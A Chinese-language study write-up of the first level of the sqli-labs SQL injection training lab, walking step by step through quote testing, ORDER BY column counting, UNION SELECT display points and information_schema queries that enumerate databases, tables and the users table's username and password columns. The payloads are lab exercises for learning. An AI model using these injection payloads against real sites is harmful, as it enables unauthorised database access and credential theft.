sqli-Less1

最近准备拾起sql注入，sql注入虽然去年就接触学习了，但是没有从原理入手学习，不精通
正好去年又学了数据库，这次颇有温故而知新的意思，温习一些以前掌握的，学习一些以前不知道的。
我用sqli开始学习sql注入，环境的搭建我之前也写过，挺简单的
首先看第一关，应该是没啥过滤，我们主要来学习步骤，流程，以及核心语句

首先发现id=1,可以查数据
再输入一个’

可能有注入
构造?id=1’ and ‘1’ = ‘1 ?id=1’ and ‘1’=‘2 发现1=2报错

证明有SQL注入
我们用order by 判断有几个字段
/?id=1’ order by 4–+发现保存
order by 3不报错，证明有三个字段
我们判断回显点
?id=-1’ union select 1,2,3 --+
前面id=-1的意思是让前一个查询数据出粗，后面你是用联合查询查询的结果就会在原来的位置上回显

可以看到回显点是2,3,
我们可以2,3回显的位置构造sql查询语句查询我们想要的东西
如查询一下当前数据库的名字
利用函数databasee()查询当前数据库的名字
在这里插入图片描述
函数version()查询当前数据库的版本
当前数据库的版本为5.5.53

首先我们知道一下information_schema数据库：它提供了访问数据库元数据的方式。其中保存着关于MySQL服务器所维护的所有其他数据库的信息，如数据库名，数据库的表名等
查库
select schema_name from information_schema.schemata

这里提示返回的数据超过了一行
这里我们使用一个函数，group_concat()，作用：连接一个组的所有字符，并以逗号分隔每一条数据
我们构造语句select group_concat(schema_name) from information_schema.schemata

因为之前用database()函数查到当前数据库为security数据库，所以我用此数据库查询表名
select group_concat(table_name) from information_schema.tables where table_schema=‘security’

一般users表中存储着用户名跟密码，我们查询users库中的列
select group_concat(column_name) from information_schema.columns where table_name=‘users’

我们需要username跟password字段
select 列名 from 库名.表名

还可以用~分隔